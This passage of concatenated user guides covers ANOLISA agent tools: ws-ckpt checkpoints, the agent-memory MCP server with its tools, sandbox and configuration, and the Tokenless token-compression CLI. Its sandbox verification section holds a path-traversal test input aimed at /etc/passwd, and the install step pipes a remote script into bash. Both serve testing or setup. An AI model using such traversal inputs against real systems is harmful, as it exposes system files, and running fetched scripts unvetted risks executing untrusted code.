read-only overview; `-g` views/edits the global config; `-w` can only override `auto_cleanup` and `auto_cleanup_keep` — the remaining fields (interval / image / health check) are daemon-wide and can only be set via `-g`; `-w --reset` removes the workspace override and falls back to the global config. ```bash # Enable auto-cleanup, keep checkpoints for 7 days ws-ckpt config -w /home/user/projects/my-project --enable-auto-cleanup --auto-cleanup-keep 7d # Global config ws-ckpt config -g --enable-auto-cleanup --auto-cleanup-keep 20 ``` --- ## Important Notes > **WARNING**: The workspace path configured for ws-ckpt must NOT be: > - The root path (`/`) > - Inside the daemon's mount_path > - An active mount point (see below) > - The Agent startup directory or any parent directory (validated at plugin level) > > These constraints are enforced by the daemon. Attempts to use invalid paths will be rejected. ### The workspace root cannot be a mount point Initializing a workspace moves the original directory aside as a backup, and `rename(2)` fails with `EBUSY` on a directory that is itself a mount point. Any filesystem type is affected, not just FUSE. The common case is an in-place SkillFS mount, where the source and the mountpoint are the same directory. Unmount it first: ```bash skillfs stop /path/to/workspace # in-place SkillFS mount fusermount3 -u /path/to/workspace # any other FUSE mount ``` This applies to `init` and to the first `checkpoint` on an unmanaged path, which auto-initializes. Once a workspace is initialized, later `checkpoint`, `rollback`, `list`, and `diff` operations are unaffected. Only the workspace root itself is rejected. A mount nested *inside* the workspace does not block `init`, but the outcome is rarely what you want: the mount stays attached to the backup directory that `init` moves aside, while the new workspace receives a plain copy of the mount's contents — subsequent writes land in the copy, not on the mounted filesystem, and the two silently diverge. Unmount nested mounts before initializing, or keep mount points outside the workspace tree. --- ## Natural Language Usage (Agent-Driven) When the ws-ckpt skill is installed, Agents can use checkpoints via natural language: | Intent | Example Phrases | |--------|-----------------| | Create checkpoint | "Save the workspace", "Take a snapshot before I start" | | Rollback | "Undo all changes", "Go back to the last good state" | | List checkpoints | "Show all saved states", "List my checkpoints" | | Diff | "What changed since the last save?" | --- ## FAQ **Q: What happens if my filesystem is not btrfs?** A: ws-ckpt creates a btrfs loop image on the host filesystem and loop-mounts it, providing full COW snapshot functionality regardless of the underlying filesystem type. **Q: Can I use ws-ckpt with multiple workspaces?** A: Yes. Use `-w` flag with each command to specify the workspace, or configure multiple workspaces via plugins. **Q: How much disk space do checkpoints use?** A: With btrfs COW, only changed blocks are stored. Typical overhead is <5% of workspace size per checkpoint. ===== docs/user-guide/en/token-saving/agent-memory.md ===== # Agent Memory (agent-memory) [中文版](../../zh/token-saving/agent-memory.md) agent-memory is ANOLISA's file-form memory MCP server, providing AI agents with a persistent, searchable, sandboxed memory space. Agents read and write memory like a filesystem; the system injects relevant context into subsequent turns via BM25/vector hybrid retrieval and automatic capture/recall, reducing repeated communication and improving task continuity. - **File-form memory**: read/write memory with filesystem semantics via MCP tools; namespace isolation and path sandboxing. - **Hybrid semantic search**: BM25 + dense vector + RRF fusion with automatic fallback. - **Auto capture & recall**: automatically extracts observations at conversation end (deduped) and injects relevant memory when building the next prompt. - **Safe injection**: prompt-injection detection and escaping for memory content injected into LLM prompts. - **Versioning & snapshots**: optional auto git commit + tar.gz snapshots for file-level and mount-level rollback. Use Agent Memory when context must persist across sessions. Tokenless addresses a different part of the workflow by compressing content that still needs to enter the current context window. --- ## Requirements - Linux on x86_64 or aarch64 - An Agent runtime that supports stdio MCP servers --- ## Installation ### Via anolisa CLI (recommended) ```bash anolisa install agent-memory ``` Produces: `agent-memory` binary, default config, MCP service descriptor, systemd user template, tmpfiles rule, OpenClaw adapter bundle. ### RPM package (AnolisOS / RHEL) ```bash sudo yum install agent-memory ``` RPM installs to system-level FHS paths: | Purpose | Path | |------|------| | Service binary | `/usr/bin/agent-memory` | | Default config | `/usr/share/anolisa/agent-memory/default.toml` | | MCP service descriptor (auto-discovery) | `/usr/share/anolisa/mcp-servers/agent-memory.json` | | systemd user template | `/usr/lib/systemd/user/anolisa-memory@.service` | | tmpfiles rule (creates `/run/anolisa/{,sessions}`) | `/usr/lib/tmpfiles.d/anolisa-memory.conf` | | OpenClaw adapter bundle | `/usr/share/anolisa/adapters/agent-memory/` | | Docs | `/usr/share/doc/agent-memory/` | ### Source build (developers) ```bash git clone https://github.com/alibaba/anolisa.git cd anolisa/src/agent-memory make build # cargo build --release --locked sudo make install # install to /usr/local ``` Build deps: Rust ≥ 1.85 (edition 2024; CI pins 1.89 to share the monorepo toolchain), cmake (libgit2 vendored), systemd-devel (journald audit fan-out). ### Cross-platform development Runtime is Linux-only (depends on user_namespace, mount(2), cgroup v2, inotify, journald). On macOS / Windows use the remote flow: ```bash make remote-build # push branch and ssh to a Linux host for cargo build make remote-test # same + tests + clippy ``` --- ## Integration ### Claude Code / Cursor / Continue / any stdio MCP client Add to your MCP config: ```json { "mcpServers": { "agent-memory": { "command": "/usr/bin/agent-memory", "args": [], "env": { "USER_ID": "alice", "MEMORY_PROFILE": "advanced" } } } } ``` `/usr/share/anolisa/mcp-servers/agent-memory.json` lists all 37 tool names for auto-discovering clients. ### OpenClaw The bundled plugin forwards 4 memory-contract tools (`memory_search`, `memory_get`, `memory_observe`, `memory_get_context`) to agent-memory: ```bash bash /usr/share/anolisa/adapters/agent-memory/openclaw/scripts/install.sh openclaw gateway restart ``` Or via anolisa adapter management: ```bash anolisa adapter enable agent-memory openclaw anolisa adapter status agent-memory ``` **Prerequisite**: `openclaw` CLI on `$PATH`. The script logs clearly and exits 0 if missing — rerun after installing OpenClaw. `yum remove agent-memory` triggers `%preun` to call the uninstall script, leaving no orphaned config. Plugin contract ↔ agent-memory MCP tool mapping: | OpenClaw contract | agent-memory MCP tool | |---|---| | `memory_search` | `memory_search` (BM25 default; `mode=vector\|hybrid` with embedding) | | `memory_get` | `mem_read` | | `memory_observe` | `memory_observe` | | `memory_get_context` | `memory_get_context` | Plugin config (via OpenClaw UI or `openclaw.json` `plugins.entries["memory-anolisa"].config`): | Key | Default | Purpose | |---|---|---| | `binaryPath` | auto-discovery: `$PATH` → `/usr/bin/agent-memory` → `/usr/local/bin/agent-memory` → `~/.local/bin/agent-memory` | absolute binary path | | `userId` | env `USER_ID` → OS `uid` → env `$USER` | namespace `user_id`; same validation as Rust side | | `profile` | `advanced` | profile gate, passed as `MEMORY_PROFILE` env | | `maxReadBytes` | `1048576` (1 MiB) | `mem_read` cap, passed as `MEMORY_MAX_READ_BYTES` | | `maxWriteBytes` | `16777216` (16 MiB) | `mem_write` cap, passed as `MEMORY_MAX_WRITE_BYTES` | | `sessionId` | env `MEMORY_SESSION_ID` → new `ses_` | namespace session; must be fixed | | `sessionDir` | env `MEMORY_SESSION_DIR` → `/run/anolisa/sessions` | session scratch + log root | The plugin passes a minimal env allowlist to the subprocess (`PATH`, `HOME`, `USER`, `USER_ID`, `LANG`/`LC_ALL`/`LC_CTYPE`, `TZ`, `TMPDIR`, `XDG_RUNTIME_DIR`, and all `MEMORY_`/`RUST_`-prefixed vars); other env does not leak. `USER_ID` matches exactly — `USER_IDX` is not allowed. --- ## MCP tool set (37 tools) All tools are invoked via MCP `tools/call` with JSON object arguments. Errors return `CallToolResult { isError: true }` so clients can distinguish business errors from "successful but content contains 'failed'". Profile is enforced at both `tools/list` and `tools/call`. ### Tier A — file operations (11) | Tool | Required | Optional | Returns | |------|------|------|------| | `mem_read` | `path` | — | UTF-8 file content | | `mem_write` | `path`, `content` | `overwrite` | `wrote N bytes to ` | | `mem_append` | `path`, `content` | — | `appended N bytes to ` | | `mem_edit` | `path`, `old_str`, `new_str` | — | `edited ` (`old_str` must match exactly once) | | `mem_list` | — | `dir`, `recursive`, `glob` | `{name, type, size, mtime}` array | | `mem_grep` | `pattern` | `dir`, `type`, `max`, `case_insensitive` | `{path, line, text}` array | | `mem_diff` | `path1`, `path2` | — | unified diff | | `mem_mkdir` | `path` | — | `created ` | | `mem_remove` | `path` | `recursive` | `removed ` | | `mem_promote` | `session_path`, `store_path` | — | atomically move session scratch file into the persistent store | | `mem_session_log` | — | — | current session JSONL | ### Tier B — structured retrieval (6) | Tool | Required | Optional | Returns | |------|------|------|------| | `memory_search` | `query` | `top_k` (default 5), `mode` (bm25/vector/hybrid), `category` | `{path, score, snippet, suspicious}` array | | `memory_observe` | `content` | `hint`, `type` | `observed at notes/observed/.md` | | `memory_get_context` | — | `max_tokens` (default 2048) | markdown preview of recently modified files; each entry has `suspicious` | | `memory_sessions` | — | `limit` (default 10) | historical session list | | `memory_timeline` | `session_id` | `limit` (default 50) | tool-call timeline for a specific session | | `mem_index_refresh` | — | — | force-rebuild the FTS5 index | ### Tier C — governance & versioning (7) | Tool | Required | Optional | Returns | |------|------|------|------| | `mem_snapshot` | — | `name` | `{id, name, created_at, size, backend}` | | `mem_snapshot_list` | — | — | array sorted by `created_at` | | `mem_snapshot_restore` | `id` | — | `restored ` | | `mem_log` | — | `limit` (default 20), `path` | `{hash, summary, author, time}` array (requires git) | | `mem_revert` | `path` | — | `reverted (commit )` (requires git) | | `mem_consolidate` | — | — | `consolidation complete: N facts written` | | `mem_compact` | — | — | `compacted N files to cold storage` | ### Sovereignty & import/export (13) | Tool | Required | Optional | Returns / notes | |------|------|------|------| | `memory_about` | `topic` | `limit` (default 10) | matching memory paths and snippets for a topic | | `memory_auto_created` | — | `limit` (default 20) | JSON array of auto-extracted facts | | `memory_consent` | — | `action` (query/allow/deny), `scope` (all/consolidation/capture) | grant/revoke memory operations | | `memory_forget` | `topic` | `confirm` (default `false`=preview, `true`=delete) | delete memory entries about a topic | | `mem_export` | — | `category`, `source` | export the store as an AMA JSON string (does not write a file) | | `mem_import` | `json_data` | `strategy` (skip-existing/overwrite, default skip-existing), `dry_run` (default false) | import memory from an AMA JSON string | | `memory_task_save` | `title` | `status`, `progress`, `next_steps`, `blockers`, `files_modified`, `decisions`, `context`, `id` | save/update a task; returns the task id (pass `id` to update an existing task) | | `memory_task_list` | — | `status` (in-progress/blocked/done/cancelled) | JSON array of task summaries | | `memory_task_resume` | `id` | — | resume task context (formatted for continuing in a new session) | | `memory_task_close` | `id` | `reason` | close a task (mark done) | | `memory_summary` | — | `recent_limit` (default 10) | memory store statistics overview JSON | | `memory_session_context` | — | `limit` | session-start context injection | | `mem_dream` | — | — | user profile synthesis JSON | ### Error code semantics | MCP code | Meaning | |------------|------| | `-32601` METHOD_NOT_FOUND | tool hidden by current profile | | `-32602` INVALID_PARAMS | missing or wrong-type param | | `-32603` INTERNAL_ERROR | server fault | | `isError: true` | tool ran but returned a business error (path missing, sandbox rejection, size limit, etc.) | --- ## Core features ### File-form memory Agents organize memory by path, matching the human filesystem model: ``` notes/day1.md decisions/2026-05/db-pick.md context/project-overview.md ``` Namespace layout: ``` ~/.anolisa/memory/user-/ # mount root ├── README.md # auto-generated overview ├── notes/ # free-form notes ├── decisions/ # user-defined subdirs └── .anolisa/ # OS-managed, not writable by agents ├── manifest.toml # namespace metadata ├── audit.log # JSONL tool-call audit ├── index.db # FTS5 SQLite ├── snapshots/ # tar.gz archives + sidecar ├── trash/ # entries retained on restore └── git/ # bare git mirror (when git enabled) ``` Session dir (tmpfs, 0700): ``` /run/anolisa/sessions// ├── meta.toml ├── log.jsonl └── scratch/ # session-only drafts; promoted via mem_promote ``` ### Sandbox protection Every file open is anchored at the mount root via kernel `openat2(RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS)`: - Rejects `..` traversal - Rejects symlinks (including mid-call replacement; recursive deletes use `fdopendir` + `fstatat(AT_SYMLINK_NOFOLLOW)` + `unlinkat` so swaps can't race) - Rejects access to metadata dirs (`.anolisa`, `.git`, `.gitignore` via `TargetIsReserved`) - `mem_snapshot_restore` filters tar entry types — rejects `Symlink`/`Hardlink`/`Device`/`Fifo` - Oversized payloads rejected per `max_*_bytes` **Mount strategies**: | Strategy | When | Behavior | |------|------|------| | `userland` (default) | any environment | mount is just a directory; sandbox enforced by `openat2` | | `userns` | Linux ≥ 4.6 with unprivileged user namespace | `unshare` into a new user+mount namespace, mount a private tmpfs, then bind-mount the backing dir; host-side processes can't see `/mnt/memory//` | | `auto` | runtime probe | try `userns`; fall back to `userland` on any error | ### Version control Optional auto git commit (libgit2 vendored): ```bash MEMORY_GIT_ENABLED=true MEMORY_GIT_AUTO_COMMIT=true agent-memory ``` With git on, `mem_log` exposes change history and `mem_revert` gives the agent a real "undo" button. `mem_snapshot*` provides mount-wide tar.gz point-in-time backups independent of git. ### Full-text search SQLite FTS5 BM25 index, sub-millisecond queries. A background tokio task watches the mount via `inotify`; events are debounced 200 ms and applied in a single transaction. Tokenizer is `trigram` (substring matching for ≥3-char terms). The trigram tokenizer emits one token per 3-character window, so a query term shorter than 3 characters (common for CJK words like "花名" / "小云") produces no tokens and would silently match nothing; `memory_search` detects this case and falls back to a `body LIKE '%term%'` substring scan so short CJK queries still recall. `IN_Q_OVERFLOW` triggers a full rescan — events are never silently dropped. ### Hybrid vector search BM25 + dense vector hybrid retrieval, fused via RRF (Reciprocal Rank Fusion, k=60). Vectors come from a pluggable Embedding Provider: | Provider | Configuration | Notes | |----------|---------|------| | OpenAI | `MEMORY_EMBEDDING_BACKEND=openai` + `OPENAI_API_KEY` | calls OpenAI Embeddings API | | Ollama | `MEMORY_EMBEDDING_BACKEND=ollama` + `OLLAMA_BASE_URL` | local Ollama instance | `memory_search` supports `mode`: `bm25` (default) / `vector` (cosine similarity) / `hybrid` (RRF fusion). Without embedding config, `vector`/`hybrid` auto-degrade to BM25 — no error. ### Auto consolidation On shutdown, automatically extracts atomic facts from the session audit log (`mem_consolidate`) using 6 heuristic rules (zero LLM calls) — identifies high-frequency paths, search patterns, etc., and persists them as structured memory. Also manually triggerable via the `mem_consolidate` tool. Includes episodic memory extraction and conflict detection (BM25 threshold). ### Audit & observability Every successful tool call appends a JSONL line to `/.anolisa/audit.log`; with sessions enabled, also to `/run/anolisa/sessions//log.jsonl`. `audit.journald=true` fans out to systemd-journald with structured fields (`MESSAGE_ID`, `AGENT_MEMORY_TOOL`, etc.) for `journalctl --user-unit=anolisa-memory@` filtering. --- ## Configuration ### Config file Default location: `~/.anolisa/memory.toml`. The file is optional; Agent Memory uses built-in defaults when it is absent. All structs enable `serde(deny_unknown_fields)` — typos hard-fail at load. Minimal config: ```toml [global] user_id = "alice" [memory] profile = "advanced" # basic | advanced | expert max_read_bytes = 1048576 # 1 MiB max_write_bytes = 16777216 # 16 MiB max_append_bytes = 4194304 # 4 MiB [memory.paths] base_dir = "~/.anolisa/memory" [memory.session] base_dir = "/run/anolisa/sessions" end_action = "discard" # discard | keep [memory.mount] strategy = "auto" # auto | userland | userns [memory.index] enabled = true time_decay_lambda = 0.01 time_decay_alpha = 0.3 cold_after_days = 30 exclude_cold_on_search = true [memory.audit] journald = false [memory.cgroup] enabled = false memory_max = "512M" [memory.git] enabled = false auto_commit = true [memory.consolidation] enabled = true max_facts = 20 min_tool_calls = 3 episodic_enabled = true min_episode_steps = 3 max_episodes_per_session = 10 conflict_detection = true conflict_bm25_threshold = -2.0 ``` ### Environment variables Every config key has a matching `MEMORY_*` env var. Priority: **env > config.toml > default**. | Variable | Description | Default | |----------|------|------| | `USER_ID` | user identity (validated; invalid values warn-and-ignore) | — | | `MEMORY_PROFILE` | profile (basic/advanced/expert) | advanced | | `MEMORY_BASE_DIR` | memory store root | `~/.anolisa/memory` | | `MEMORY_SESSION_DIR` | session root | `/run/anolisa/sessions` | | `MEMORY_SESSION_ID` | fixed session id (required for `mem_promote`) | new `ses_` | | `MEMORY_SESSION_END` | session end action (discard/keep) | discard | | `MEMORY_MOUNT_STRATEGY` | mount strategy (auto/userland/userns) | auto | | `MEMORY_MAX_READ_BYTES` | per-read cap | 1 MiB | | `MEMORY_MAX_WRITE_BYTES` | per-write cap | 16 MiB | | `MEMORY_MAX_APPEND_BYTES` | per-append cap | 4 MiB | | `MEMORY_INDEX_ENABLED` | enable FTS5 index | true | | `MEMORY_INDEX_TIME_DECAY_LAMBDA` | time decay (≥0) | 0.01 | | `MEMORY_INDEX_TIME_DECAY_ALPHA` | time weight ratio (0–1) | 0.3 | | `MEMORY_INDEX_COLD_AFTER_DAYS` | cold archive days | 30 | | `MEMORY_INDEX_EXCLUDE_COLD` | exclude cold from search | true | | `MEMORY_AUDIT_JOURNALD` | fan out to journald | false | | `MEMORY_CGROUP_ENABLED` | enable cgroup limits | false | | `MEMORY_CGROUP_MEMORY_MAX` | cgroup memory cap | 512M | | `MEMORY_GIT_ENABLED` | enable git versioning | false | | `MEMORY_GIT_AUTO_COMMIT` | auto commit | true | | `MEMORY_EMBEDDING_BACKEND` | embedding backend (none/openai/ollama) | none | | `MEMORY_OPENAI_API_KEY` | OpenAI API key (falls back to `OPENAI_API_KEY`) | — | | `MEMORY_OPENAI_MODEL` | OpenAI embedding model | text-embedding-3-small | | `MEMORY_OLLAMA_MODEL` | Ollama embedding model | nomic-embed-text | | `MEMORY_OLLAMA_BASE_URL` | Ollama base URL | http://localhost:11434 | | `MEMORY_CONSOLIDATION_ENABLED` | enable auto consolidation | true | | `MEMORY_CONSOLIDATION_MAX_FACTS` | max facts per run | 20 | | `MEMORY_CONSOLIDATION_MIN_CALLS` | min tool-call threshold | 3 | | `MEMORY_EPISODIC_ENABLED` | episodic extraction | true | | `MEMORY_MIN_EPISODE_STEPS` | min episode steps | 3 | | `MEMORY_MAX_EPISODES` | max episodes per session | 10 | | `MEMORY_CONFLICT_DETECTION` | conflict detection | true | | `MEMORY_CONFLICT_THRESHOLD` | BM25 conflict threshold | -2.0 | Data storage: `~/.anolisa/memory//`. ### Profiles Profiles are UX hints, not security boundaries, but enforced at both `tools/list` and `tools/call`: - **basic** — all 37 tools shown; weaker models can use the Tier B structured API. - **advanced** (default) — all 37 tools shown; stronger models should prefer Tier A file ops. - **expert** — hides Tier B (`memory_search`, `memory_observe`, `memory_get_context`, `mem_consolidate`, `memory_forget`, `memory_consent`); `tools/call` returns `METHOD_NOT_FOUND`. For proficient models that only need Tier A and Tier C. ### Embedding config ```toml [memory.embedding] backend = "openai" # or "ollama" api_key = "" # empty: auto-read OPENAI_API_KEY model = "text-embedding-3-small" # Ollama: backend = "ollama", model = "nomic-embed-text", base_url = "http://localhost:11434" ``` --- ## Use cases - Cross-session persistence of notes and decisions (Claude Code, Cursor, Continue, custom rmcp clients). - Multi-agent systems where Agent A writes and Agent B reads shared notes. - Operation audit and state recovery (`mem_log`, JSONL audit, journald, `mem_revert`, `mem_snapshot_restore`). - Multi-turn "draft first, persist when decided" pattern (`mem_promote` atomically moves files from session scratch into the persistent store). --- ## SDK / client integration ### Python (official `mcp` SDK) ```python import asyncio from mcp import ClientSession, StdioServerParameters from mcp.client.stdio import stdio_client async def main(): server = StdioServerParameters( command="/usr/bin/agent-memory", args=[], env={"USER_ID": "alice"}, ) async with stdio_client(server) as (read, write): async with ClientSession(read, write) as session: await session.initialize() tools = await session.list_tools() print([t.name for t in tools.tools]) result = await session.call_tool( "mem_write", {"path": "notes/from-python.md", "content": "hello"}, ) assert not result.isError asyncio.run(main()) ``` ### TypeScript (`@modelcontextprotocol/sdk`) ```typescript import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const transport = new StdioClientTransport({ command: "/usr/bin/agent-memory", args: [], env: { USER_ID: "alice" }, }); const client = new Client({ name: "my-app", version: "1.0.0" }, {}); await client.connect(transport); const result = await client.callTool({ name: "mem_grep", arguments: { pattern: "TODO", recursive: true, max: 50 }, }); ``` ### Rust (`rmcp`) ```rust use rmcp::transport::child_process::ChildProcessTransport; use rmcp::ServiceExt; let transport = ChildProcessTransport::new( tokio::process::Command::new("/usr/bin/agent-memory"), ).await?; let client = ().serve(transport).await?; let tools = client.list_tools(Default::default()).await?; ``` ### Promote workflow (multi-turn) 1. Set `MEMORY_SESSION_ID=` and `MEMORY_SESSION_DIR=/run/anolisa/sessions` for each agent run. 2. Agent writes drafts to `/run/anolisa/sessions//scratch/`. 3. When a draft is worth keeping, the agent calls `mem_promote` to atomically move it into the persistent store. --- ## Testing & verification ### Automated tests ```bash cd src/agent-memory cargo fmt --check cargo clippy -- -D warnings cargo test # full suite cargo test --test e2e_agent_test # tool E2E cargo test --test mcp_integration_test # protocol layer cargo test --test linux_userns_test -- --ignored # needs unprivileged userns make smoke # one-shot end-to-end smoke ``` CI runs `fmt --check` + `clippy -D warnings` + `cargo test` on Rust 1.89. ### Interactive `mcp-harness` ```bash cargo run --example mcp-harness -- /tmp/mem-test ``` | Command | Description | |------|------| | `list` | list visible tools | | `call ` | invoke a tool | | `help` | help | | `quit` | quit | Scenarios: `--scenario full` / `git --git` / `promote` / `--verbose` (prints JSON-RPC). ### Raw JSON-RPC (protocol-level debugging) ```bash mkdir -p /tmp/mem-test/__sessions__ MEMORY_BASE_DIR=/tmp/mem-test \ MEMORY_SESSION_DIR=/tmp/mem-test/__sessions__ \ MEMORY_MOUNT_STRATEGY=userland \ USER_ID=tester \ agent-memory ``` Handshake + tool call: ```json {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"manual","version":"1.0"}}} {"jsonrpc":"2.0","method":"notifications/initialized"} {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"mem_write","arguments":{"path":"test.md","content":"hello"}}} ``` ### Sandbox escape verification ```json {"name":"mem_read","arguments":{"path":"../../etc/passwd"}} ``` → `isError: true`, message `path outside mount root`. ```json {"name":"mem_write","arguments":{"path":".anolisa/audit.log","content":"x"}} ``` → `isError: true`, message `target is reserved`. --- ## Troubleshooting ### Diagnostic tools ```bash # Component-level diagnosis (follow the reported fix plan manually) anolisa doctor agent-memory # Adapter status anolisa adapter status agent-memory # Debug startup RUST_LOG=agent_memory=debug agent-memory ``` ### Common issues | Symptom | Likely cause | Fix | |------|----------|------| | startup `unshare(NEWUSER\|NEWNS): EPERM` | unprivileged user namespace disabled | `sysctl kernel.unprivileged_userns_clone=1`, or `MEMORY_MOUNT_STRATEGY=userland` | | `tmpfs /mnt: EBUSY` | `/mnt` occupied in new namespace | restart the process | | macOS / Windows `cargo build` fails on `libsystemd`/`nix` | non-Linux host | `make remote-build` / `remote-test` | | `tools/call memory_search` returns `METHOD_NOT_FOUND` | `MEMORY_PROFILE=expert` hides Tier B | switch to `advanced`, or use Tier A directly | | config typos silently ignored | — | now hard-fail; check startup stderr | | `mem_log` returns `[]` despite writes | git versioning not enabled | `MEMORY_GIT_ENABLED=true MEMORY_GIT_AUTO_COMMIT=true` | | search misses just-written content | inside the 200 ms debounce window | retry, or use `mem_grep` (regex on the filesystem, no index) | | `mem_promote` reports `session not found` | `MEMORY_SESSION_ID`/`MEMORY_SESSION_DIR` unset or scratch missing | see Promote workflow | | OpenClaw plugin not loaded | `openclaw` CLI not on PATH | rerun `install.sh` after installing OpenClaw | | system state out of sync after manual dnf | — | `sudo anolisa --install-mode system repair agent-memory`; use system-scoped `forget` / `adopt` only when intentionally rebuilding the record for a present RPM | For deeper investigation: start with `RUST_LOG=agent_memory=debug` and inspect both stderr and `/.anolisa/audit.log`. --- **License**: Apache-2.0 **Version**: 0.2.1 **Document version**: 2.0 (aligned with ANOLISA-design user-guide structure) ===== docs/user-guide/en/token-saving/tokenless/QUICKSTART.md ===== # Tokenless Quick Start [中文版](../../../zh/token-saving/tokenless/QUICKSTART.md) ## 1. What Tokenless does Tokenless helps an AI agent complete the same work with fewer tokens. After you turn it on, you do not need to change your prompts or the way you use the agent. Tokenless works automatically in the background. What you may notice: - Less token usage on lengthy intermediate results. - More room for useful information during long tasks. - Cleaner information for the agent to use when deciding what to do next. Savings vary by task. Short tasks or tasks that are mostly conversation may show little change, so check the result with your own workload in [View the result](#4-view-the-result). ## 2. Install Tokenless Install the anolisa CLI first, then use it to install Tokenless: ```bash curl -fsSL https://get.agentic-os.sh | bash anolisa --version anolisa install tokenless tokenless --version ``` ## 3. Start using Tokenless ### 3.1 Use Tokenless in your agent Tokenless can work with: | Agent | Value used in commands | |-------|------------------------| | cosh / Copilot Shell | `cosh` | | OpenClaw | `openclaw` | | Hermes | `hermes` | | Qoder | `qoder` | | Claude Code | `claude-code` | | Codex | `codex` | | Qwen Code | `qwencode` | Find your agent and turn on Tokenless: ```bash anolisa adapter scan anolisa adapter enable tokenless anolisa adapter status tokenless ``` Restart the agent CLI, IDE, or gateway after Tokenless is enabled. #### 3.1.1 Example: OpenClaw Turn on Tokenless and restart the OpenClaw gateway: ```bash anolisa adapter enable tokenless openclaw anolisa adapter status tokenless ``` Then ask OpenClaw to perform a normal task: > Run the full test suite for this repository and summarize only the failures. You do not need to mention Tokenless in the prompt. If OpenClaw rejects the installation during its security check, follow [the OpenClaw instructions](framework-integration.md#openclaw) before retrying. ### 3.2 Use the standalone CLI You can try response compression directly: ```bash printf '%s\n' \ '{"status":"ok","data":{"name":"demo","items":[1,2,3]},"debug":{"trace":"verbose"},"metadata":null}' \ | tokenless compress-response ``` The command returns valid JSON with removable fields such as `debug` and `metadata` omitted. If the output is unchanged, the input has no compressible content; retry with JSON that contains `debug`, `null`, or a long string. ## 4. View the result After using a Shell, API, or other supported tool in your agent, run: ```bash tokenless stats list --limit 5 tokenless stats summary ``` - `stats list` shows recent results that Tokenless made shorter. Copy a record ID from this list when you want to inspect one result. - `stats summary` shows the estimated tokens before and after Tokenless processing and the total saved. For the OpenClaw example above, look for a record containing `openclaw` and confirm that its token count decreases from left to right. To see what changed in one record: ```bash tokenless stats diff ``` If no record appears, the content may not have passed through Tokenless or may not have become shorter. See [No statistics appear after setup](troubleshooting.md#no-statistics-appear-after-enabling-the-adapter). Token counts are estimates for content processed by Tokenless, not a direct measurement of the model bill. Statistics and diffs may contain original tool content; avoid sharing their output when it contains sensitive data. See [Measuring savings](measuring-savings.md) and [Configuration and data privacy](configuration-and-privacy.md) for details. ## 5. Platform support | Platform | anolisa CLI installation | |----------|--------------------------| | Linux x86_64/aarch64 | Supported | | macOS Apple Silicon | Supported | | macOS x86_64 | Not currently supported | | Windows or Linux with musl, such as Alpine | Not currently supported | This page covers installation with the anolisa CLI only. To build the standalone CLI from source, see [User manual · Build the standalone CLI from source](user-manual.md#build-the-standalone-cli-from-source). ## 6. Next steps - [User manual](user-manual.md): behavior boundaries and documentation map - [Framework integration](framework-integration.md): enable, verify, and disable each agent - [CLI reference](cli-reference.md): all subcommands and options - [Measuring savings](measuring-savings.md): statistics, dual runs, and AgentSight/SLS - [Configuration and data privacy](configuration-and-privacy.md): toggles, storage, and sensitive data - [Troubleshooting](troubleshooting.md): common errors, upgrades, and uninstall ===== docs/user-guide/en/token-saving/tokenless/cli-reference.md ===== # Tokenless CLI Reference [中文版](../../../zh/token-saving/tokenless/cli-reference.md) The `tokenless` CLI can compress schemas and responses, encode and decode TOON, retrieve Stash content, check tool environments, and query statistics. Agent adapters call the same capabilities internally. ## Command overview | Command | Purpose | |---------|---------| | `tokenless compress-schema` | Compress Function Calling tool schemas | | `tokenless compress-response` | Compress JSON/API/tool responses | | `tokenless compress-toon` | Encode JSON as TOON | | `tokenless decompress-toon` | Decode TOON to JSON | | `tokenless retrieve` | Recover a payload truncated into Stash | | `tokenless env-check` | Check tool dependencies and environment | | `tokenless stats` | Query and control local statistics | | `tokenless mcp serve` | Start an MCP stdio server for retrieval | Use the installed version's help as the final argument reference: ```bash tokenless --help tokenless --help ``` ## Common input rules Compression and encoding commands accept input in two ways: ```bash tokenless compress-response --file response.json cat response.json | tokenless compress-response ``` - `-f` is the short form of `--file`. - Without `--file`, input must be provided on stdin. - The per-call input limit is 64 MiB. - JSON commands require valid JSON. - If compression does not reduce the estimated token count, the CLI explains this on stderr and returns the original. ## `compress-schema` Compress one OpenAI Function Calling schema: ```bash tokenless compress-schema -f tool.json ``` Compress a JSON array: ```bash cat tools.json | tokenless compress-schema --batch ``` An array input enables batch handling automatically. Common options: | Option | Description | |--------|-------------| | `-f, --file ` | Input file; omit to read stdin | | `--batch` | Treat the input as a schema array | | `--agent-id ` | Agent identifier in statistics | | `--session-id ` | Session identifier in statistics | | `--tool-use-id ` | Tool-call identifier in statistics | | `--no-stash` | Do not save truncated descriptions; truncation becomes irreversible | | `--stash-db ` | Override the Stash database; an invalid path is rejected as an override and falls back to the environment or default path | Default processing rules: | Item | Default | |------|---------| | Maximum function-description length | 256 characters | | Maximum parameter-description length | 160 characters | | Drop `examples` | yes | | Drop `title` | yes | | Remove fenced and inline code, then collapse whitespace in descriptions | yes | | Maximum recursion depth | 32 | Example: ```bash tokenless compress-schema -f tools.json --batch \ --agent-id copilot-shell --session-id session-001 ``` ## `compress-response` Compress a JSON response: ```bash tokenless compress-response -f response.json ``` By default it removes exact, case-sensitive blacklisted keys, `null`, and empty strings/arrays/objects, including empty items inside arrays. It then truncates long strings, long arrays, and values beyond the configured nesting limit. Common options: | Option | Default | Description | |--------|---------|-------------| | `-f, --file ` | stdin | Input file | | `--truncate-strings-at ` | `4096` | String truncation threshold | | `--truncate-arrays-at ` | `32` | Maximum retained array items | | `--max-depth ` | `8` | Maximum nesting depth | | `--agent-id ` | `cli` | Agent identifier in statistics | | `--session-id ` | — | Session identifier in statistics | | `--tool-use-id ` | — | Tool-call identifier in statistics | | `--no-stash` | off | Disable reversible Stash | | `--stash-db ` | `~/.tokenless/stash.db` | Override the Stash database; an invalid path is rejected as an override and the CLI falls back to the environment or default path | Override thresholds: ```bash tokenless compress-response -f response.json \ --truncate-strings-at 2048 \ --truncate-arrays-at 16 \ --max-depth 6 ``` The default field-name blacklist is: ```text debug, trace, traces, stack, stacktrace, logs, logging ``` Field matching and truncation change the response representation seen by the model. Save representative samples and compare the result before processing critical payloads. Stash applies only to truncation of strings, array tails, and deep subtrees. Blacklisted fields, `null`, and empty values are removed without a retrieval marker. Most adapters override these standalone defaults. Their shared shell profile uses `65536`, `128`, and `8`; the other-structured-tool profile uses `1048576`, 